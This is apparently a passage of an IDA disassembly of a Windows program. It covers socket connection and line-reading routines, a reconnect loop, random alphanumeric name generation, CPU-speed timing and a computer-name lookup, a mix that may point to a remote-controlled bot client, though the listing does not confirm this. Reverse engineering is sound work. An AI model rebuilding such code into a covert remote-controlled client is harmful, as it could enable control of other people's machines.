		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_13C527D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13C527D:				; CODE XREF: sub_13C5260+11j
		mov	eax, [esi+806h]
		lea	edx, [esp+110h+var_10C]
		push	edx
		lea	edx, [esp+114h+var_104]
		mov	[esp+114h+var_100], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	[esp+124h+var_104], 1
		mov	[esp+124h+var_10C], ecx
		mov	[esp+124h+var_108], ecx
		call	select	; select
		test	eax, eax
		jnz	short loc_13C52B9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_13C52B9:				; CODE XREF: sub_13C5260+4Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+110h+var_104]
		push	eax
		push	ecx
		call	near ptr 13E1380h
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
sub_13C5260	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5300	proc near		; CODE XREF: sub_13ABB3Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	strncpy	; strncpy
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
sub_13C5300	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5370	proc near		; CODE XREF: sub_13ABCBBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_13C53A0
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		call	ioctlsocket	; ioctlsocket
		retn	4
; ---------------------------------------------------------------------------


loc_13C53A0:				; CODE XREF: sub_13C5370+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		call	ioctlsocket	; ioctlsocket
		retn	4
sub_13C5370	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C53F0	proc near		; CODE XREF: sub_13AB586j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_13AC035
		mov	dword ptr [esi], offset	dword_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_13C53F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5420	proc near		; CODE XREF: sub_13ABD15j sub_13AC274j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABC6B
		test	[esp+4+arg_0], 1
		jz	short loc_13C5438
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C5438:				; CODE XREF: sub_13C5420+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C5420	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5450	proc near		; CODE XREF: sub_13ABC6Bj
		mov	dword ptr [ecx], offset	dword_43E0C0
		add	ecx, 4
		jmp	sub_13AC3C8
sub_13C5450	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5470	proc near		; CODE XREF: sub_13ABA36j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C5482
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13C5482:				; CODE XREF: sub_13C5470+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		call	inet_addr	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13C54D5
		push	esi
		call	gethostbyname	; gethostbyname
		mov	edi, eax
		test	edi, edi
		jnz	short loc_13C54A7
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_13C54A7:				; CODE XREF: sub_13C5470+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_13C54BC


loc_13C54B1:				; CODE XREF: sub_13C5470+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_13C54B1


loc_13C54BC:				; CODE XREF: sub_13C5470+3Fj
		call	sub_13AC2EC
		dec	esi
		push	esi
		push	0
		call	sub_13AC5A3
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_13C54D5:				; CODE XREF: sub_13C5470+20j
		pop	edi
		pop	esi
		retn	4
sub_13C5470	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5500	proc near		; CODE XREF: sub_13AC495j

var_78		= dword	ptr -78h
var_70		= byte ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_60		= byte ptr -60h
var_58		= byte ptr -58h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= byte ptr -38h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	43AD27h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+50h+var_44], ebx
		call	sub_13ABD5B
		test	al, al
		jnz	short loc_13C553F
		mov	eax, [esp+50h+arg_4]
		mov	esi, [esp+50h+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_13ABC61
		jmp	loc_13C56EB
; ---------------------------------------------------------------------------


loc_13C553F:				; CODE XREF: sub_13C5500+28j
		mov	ecx, [esp+50h+arg_4]
		push	ecx
		lea	ecx, [esp+54h+var_24]
		call	sub_13ABC61
		mov	edi, 1
		lea	ecx, [esp+54h+var_28]
		mov	[esp+54h+var_8], edi
		call	sub_13ABBE4
		test	eax, eax
		push	offset byte_446F80
		jnz	short loc_13C557C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_13ABC61
		mov	[esp+58h+var_4C], edi
		jmp	loc_13C56DE
; ---------------------------------------------------------------------------


loc_13C557C:				; CODE XREF: sub_13C5500+66j
		lea	ecx, [esp+58h+var_28]
		call	sub_13AB6EE
		test	eax, eax
		push	offset byte_446F80
		jnz	short loc_13C55A2
		mov	esi, [esp+5Ch+var_4]
		mov	ecx, esi
		call	sub_13ABC61
		mov	[esp+5Ch+var_50], edi
		jmp	loc_13C56DE
; ---------------------------------------------------------------------------


loc_13C55A2:				; CODE XREF: sub_13C5500+8Cj
		lea	ecx, [esp+5Ch+var_44]
		call	sub_13ABC61
		lea	edx, [esp+5Ch+var_4C]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+70h+var_30]
		mov	[esp+70h+var_10], 2
		call	sub_13ABBE4
		push	eax
		call	near ptr 13E13E6h
		cmp	eax, ebx
		jz	short loc_13C55E6
		mov	esi, [esp+74h+var_20]
		lea	eax, [esp+74h+var_60]
		push	eax
		mov	ecx, esi
		call	sub_13AB8C9
		mov	[esp+78h+var_6C], edi
		jmp	loc_13C56D0
; ---------------------------------------------------------------------------


loc_13C55E6:				; CODE XREF: sub_13C5500+CBj
		mov	edi, [esp+74h+var_64]
		mov	esi, offset dword_443DE4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_13C55F4:				; CODE XREF: sub_13C5500+112j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13C5618
		cmp	cl, bl
		jz	short loc_13C5614
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13C5618
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_13C55F4


loc_13C5614:				; CODE XREF: sub_13C5500+FEj
		xor	eax, eax
		jmp	short loc_13C561D
; ---------------------------------------------------------------------------


loc_13C5618:				; CODE XREF: sub_13C5500+FAj
					; sub_13C5500+108j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13C561D:				; CODE XREF: sub_13C5500+116j
		cmp	eax, ebx
		jz	short loc_13C568B
		push	ebp


loc_13C5622:				; CODE XREF: sub_13C5500+175j
					; sub_13C5500+179j
		call	GetTickCount	; GetTickCount
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_13C5636
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_13C567B


loc_13C5636:				; CODE XREF: sub_13C5500+12Dj
		mov	edi, [edi]
		mov	ebp, [esp+78h+var_64]
		cmp	edi, ebx
		jnz	short loc_13C5642
		mov	edi, ebp


loc_13C5642:				; CODE XREF: sub_13C5500+13Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DE4


loc_13C564A:				; CODE XREF: sub_13C5500+168j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13C566E
		cmp	cl, bl
		jz	short loc_13C566A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13C566E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_13C564A


loc_13C566A:				; CODE XREF: sub_13C5500+154j
		xor	eax, eax
		jmp	short loc_13C5673
; ---------------------------------------------------------------------------


loc_13C566E:				; CODE XREF: sub_13C5500+150j
					; sub_13C5500+15Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13C5673:				; CODE XREF: sub_13C5500+16Cj
		cmp	eax, ebx
		jnz	short loc_13C5622
		mov	edi, ebp
		jmp	short loc_13C5622
; ---------------------------------------------------------------------------


loc_13C567B:				; CODE XREF: sub_13C5500+134j
		mov	eax, [edi+18h]
		lea	ecx, [esp+78h+var_60]
		push	eax
		call	sub_13AB9D7
		pop	ebp
		jmp	short loc_13C5698
; ---------------------------------------------------------------------------


loc_13C568B:				; CODE XREF: sub_13C5500+11Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+78h+var_60]
		call	sub_13AB9D7


loc_13C5698:				; CODE XREF: sub_13C5500+189j
		push	offset byte_446F80
		lea	ecx, [esp+7Ch+var_64]
		call	sub_13AB6EE
		test	eax, eax
		jnz	short loc_13C56B8
		mov	edx, [esp+7Ch+var_24]
		lea	ecx, [esp+7Ch+var_68]
		push	edx
		call	sub_13AB9D7


loc_13C56B8:				; CODE XREF: sub_13C5500+1A8j
		mov	esi, [esp+80h+var_2C]
		lea	eax, [esp+80h+var_6C]
		push	eax
		mov	ecx, esi
		call	sub_13AB8C9
		mov	[esp+84h+var_78], 1


loc_13C56D0:				; CODE XREF: sub_13C5500+E1j
		lea	ecx, [esp+84h+var_70]
		mov	[esp+84h+var_38], 1
		call	sub_13AB626


loc_13C56DE:				; CODE XREF: sub_13C5500+77j
					; sub_13C5500+9Dj
		lea	ecx, [esp+84h+var_58]
		mov	[esp+84h+var_38], bl
		call	sub_13AB626


loc_13C56EB:				; CODE XREF: sub_13C5500+3Aj
		mov	ecx, [esp+84h+var_40]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
sub_13C5500	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C57A0	proc near		; CODE XREF: sub_13AC535j
		push	esi
		mov	esi, ecx
		call	sub_13AC26A
		push	0
		lea	ecx, [esi+15h]
		call	sub_13AC035
		mov	dword ptr [esi], offset	dword_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
sub_13C57A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C57E0	proc near		; CODE XREF: sub_13AB7FCj sub_13AC418j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABFCC
		test	[esp+4+arg_0], 1
		jz	short loc_13C57F8
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13C57F8:				; CODE XREF: sub_13C57E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13C57E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5810	proc near		; CODE XREF: sub_13ABFCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43AD48h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_13AC3C8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_13AC431
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13C5810	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5880	proc near		; CODE XREF: sub_13AC13Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC26A
		push	0
		lea	ecx, [esi+15h]
		call	sub_13AC035
		mov	eax, [esp+8]
		mov	ecx, [esp+8+arg_0]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	dword_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
sub_13C5880	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C58C0	proc near		; CODE XREF: sub_13ABA7Cj

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_13C59D0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_13C59D0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_13AB888
		mov	ebp, Sleep
		test	al, al
		jnz	short loc_13C5923


loc_13C58F9:				; CODE XREF: sub_13C58C0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_13C59BF
		mov	al, ds:byte_E2AA94
		test	al, al
		jz	short loc_13C5923
		push	7D0h
		call	ebp ; Sleep
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_13AB888
		test	al, al
		jz	short loc_13C58F9


loc_13C5923:				; CODE XREF: sub_13C58C0+37j
					; sub_13C58C0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_13C59BF


loc_13C592E:				; CODE XREF: sub_13C58C0+F9j
		mov	al, ds:byte_E2AA94
		test	al, al
		jz	loc_13C59BF
		test	esi, esi
		jnz	short loc_13C595E
		push	80Eh
		call	near ptr 13E0C1Ah
		add	esp, 4
		test	eax, eax
		jz	short loc_13C595A
		push	esi
		mov	ecx, eax
		call	sub_13AC035
		jmp	short loc_13C595C
; ---------------------------------------------------------------------------


loc_13C595A:				; CODE XREF: sub_13C58C0+8Ej
		xor	eax, eax


loc_13C595C:				; CODE XREF: sub_13C58C0+98j
		mov	esi, eax


loc_13C595E:				; CODE XREF: sub_13C58C0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_13ABF81
		test	al, al
		jnz	short loc_13C5977
		push	7D0h
		call	ebp ; Sleep
		jmp	short loc_13C59B4
; ---------------------------------------------------------------------------


loc_13C5977:				; CODE XREF: sub_13C58C0+ACj
		xor	ecx, ecx
		lea	edx, [esp+3Ch+var_2C]
		mov	[esp+3Ch+var_28], ecx
		lea	eax, [esp+3Ch+var_28]
		mov	[esp+3Ch+var_24], ecx
		push	edx
		mov	[esp+40h+var_20], ecx
		push	eax
		mov	[esp+44h+var_1C], ecx
		mov	ecx, esi
		mov	[esp+44h+var_2C], 10h
		call	sub_13ABC93
		mov	al, byte ptr [esp+44h+var_2C]
		test	al, al
		jz	short loc_13C59B4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_13C59B4:				; CODE XREF: sub_13C58C0+B5j
					; sub_13C58C0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_13C592E


loc_13C59BF:				; CODE XREF: sub_13C58C0+3Ej
					; sub_13C58C0+68j ...
		mov	ecx, ebx
		call	sub_13AB8DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_13C59D0:				; CODE XREF: sub_13C58C0+Bj
					; sub_13C58C0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_13C58C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5A30	proc near		; CODE XREF: sub_13AC021j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_13C5AA5
		mov	esi, ebp


loc_13C5A4F:				; CODE XREF: sub_13C5A30+73j
		cmp	esi, ebx
		jz	short loc_13C5AA5
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_13C5AA5
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	recv	; recv
		cmp	eax, ebx
		jz	short loc_13C5AB4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13C5AB4
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_13C5AAD
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_13C5A90
		cmp	al, 0Dh
		jz	short loc_13C5A90
		cmp	al, bl
		jnz	short loc_13C5A98


loc_13C5A90:				; CODE XREF: sub_13C5A30+56j
					; sub_13C5A30+5Aj
		mov	[edi+ebp-1], bl
		mov	byte ptr [esp+10h+arg_4], bl


loc_13C5A98:				; CODE XREF: sub_13C5A30+5Ej
		mov	edx, [esp+10h+arg_8]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_13C5A4F


loc_13C5AA5:				; CODE XREF: sub_13C5A30+1Bj
					; sub_13C5A30+21j ...
		mov	eax, [esp+10h+arg_8]
		mov	[eax+ebp-1], bl


loc_13C5AAD:				; CODE XREF: sub_13C5A30+4Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13C5AB4:				; CODE XREF: sub_13C5A30+3Aj
					; sub_13C5A30+3Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_13C5A30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5AF0	proc near		; CODE XREF: sub_13AB680j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_13C5B5A
		mov	edi, ebp


loc_13C5B0F:				; CODE XREF: sub_13C5AF0+68j
		cmp	edi, ebx
		jz	short loc_13C5B5A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_13C5B5A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	recv	; recv
		test	eax, eax
		jz	short loc_13C5B69
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_13C5B3A
		cmp	al, bl
		jnz	short loc_13C5B4D


loc_13C5B3A:				; CODE XREF: sub_13C5AF0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_13C5B47
		mov	[esi+ebp-1], bl
		jmp	short loc_13C5B49
; ---------------------------------------------------------------------------


loc_13C5B47:				; CODE XREF: sub_13C5AF0+4Fj
		mov	[edi], bl


loc_13C5B49:				; CODE XREF: sub_13C5AF0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_13C5B4D:				; CODE XREF: sub_13C5AF0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_13C5B0F


loc_13C5B5A:				; CODE XREF: sub_13C5AF0+1Bj
					; sub_13C5AF0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_13C5B69:				; CODE XREF: sub_13C5AF0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_13C5AF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5B90	proc near		; CODE XREF: sub_13ABEDCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_13C5BEB


loc_13C5BB6:				; CODE XREF: sub_13C5B90+59j
		push	3
		push	1
		call	sub_13AC5A3
		add	esp, 8
		dec	eax
		jz	short loc_13C5BD7
		dec	eax
		jz	short loc_13C5BD1
		dec	eax
		jnz	short loc_13C5BE6
		push	7Ah
		push	61h
		jmp	short loc_13C5BDB
; ---------------------------------------------------------------------------


loc_13C5BD1:				; CODE XREF: sub_13C5B90+36j
		push	5Ah
		push	41h
		jmp	short loc_13C5BDB
; ---------------------------------------------------------------------------


loc_13C5BD7:				; CODE XREF: sub_13C5B90+33j
		push	39h
		push	30h


loc_13C5BDB:				; CODE XREF: sub_13C5B90+3Fj
					; sub_13C5B90+45j
		call	sub_13AC5A3
		add	esp, 8
		mov	[esi+ebx], al


loc_13C5BE6:				; CODE XREF: sub_13C5B90+39j
		inc	esi
		cmp	esi, ebp
		jl	short loc_13C5BB6


loc_13C5BEB:				; CODE XREF: sub_13C5B90+24j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_13C5B90	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5C10	proc near		; CODE XREF: sub_13AB81Aj
		rdtsc
		retn
sub_13C5C10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5C30	proc near		; CODE XREF: sub_13ABBF3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, Sleep
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_13C5C3F:				; CODE XREF: sub_13C5C30+43j
					; sub_13C5C30+4Dj
		call	sub_13AB81A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx ; Sleep
		call	sub_13AB81A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	near ptr 13E0D90h
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	near ptr 13E0D90h
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_13C5C3F
		jb	short loc_13C5C7F
		cmp	esi, 0F4240h
		ja	short loc_13C5C3F


loc_13C5C7F:				; CODE XREF: sub_13C5C30+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	near ptr 13E0D10h
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_13C5D09
		jb	short loc_13C5C9F
		cmp	ecx, 50h
		jnb	short loc_13C5CA8


loc_13C5C9F:				; CODE XREF: sub_13C5C30+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_13C5CA8:				; CODE XREF: sub_13C5C30+6Dj
		cmp	edx, ebp
		ja	short loc_13C5D09
		jb	short loc_13C5CB3
		cmp	ecx, 47h
		jnb	short loc_13C5CBC


loc_13C5CB3:				; CODE XREF: sub_13C5C30+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_13C5CBC:				; CODE XREF: sub_13C5C30+81j
		cmp	edx, ebp
		ja	short loc_13C5D09
		jb	short loc_13C5CC7
		cmp	ecx, 37h
		jnb	short loc_13C5CD0


loc_13C5CC7:				; CODE XREF: sub_13C5C30+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_13C5CD0:				; CODE XREF: sub_13C5C30+95j
		cmp	edx, ebp
		ja	short loc_13C5D09
		jb	short loc_13C5CDB
		cmp	ecx, 26h
		jnb	short loc_13C5CE4


loc_13C5CDB:				; CODE XREF: sub_13C5C30+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_13C5CE4:				; CODE XREF: sub_13C5C30+A9j
		cmp	edx, ebp
		ja	short loc_13C5D09
		jb	short loc_13C5CEF
		cmp	ecx, 1Eh
		jnb	short loc_13C5CF8


loc_13C5CEF:				; CODE XREF: sub_13C5C30+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_13C5CF8:				; CODE XREF: sub_13C5C30+BDj
		cmp	edx, ebp
		ja	short loc_13C5D09
		jb	short loc_13C5D03
		cmp	ecx, 0Ah
		jnb	short loc_13C5D09


loc_13C5D03:				; CODE XREF: sub_13C5C30+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_13C5D09:				; CODE XREF: sub_13C5C30+66j
					; sub_13C5C30+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_13C5C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13C5D60	proc near		; CODE XREF: sub_13AC422j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		push	0FFFFFFFFh
		push	43AD8Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, ds:byte_447779
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_13C5EBF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_13AB824
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_13AC05D
		mov	ebp, eax
		call	sub_13AC2EC
		lea	ecx, [esp+54h+var_40]
		call	sub_13AB7D9
		mov	[esp+54h+arg_0], eax
		lea	eax, [esp+54h+arg_0]
		push	eax
		push	ebp
		call	GetComputerNameA	; GetComputerNameA
		test	eax, eax
		jnz	short loc_13C5DF6
		mov	edi, offset byte_446F80
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_13C5DF6:				; CODE XREF: sub_13C5D60+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_13C5DFF:				; CODE XREF: sub_13C5D60+A9j
		cmp	ecx, eax
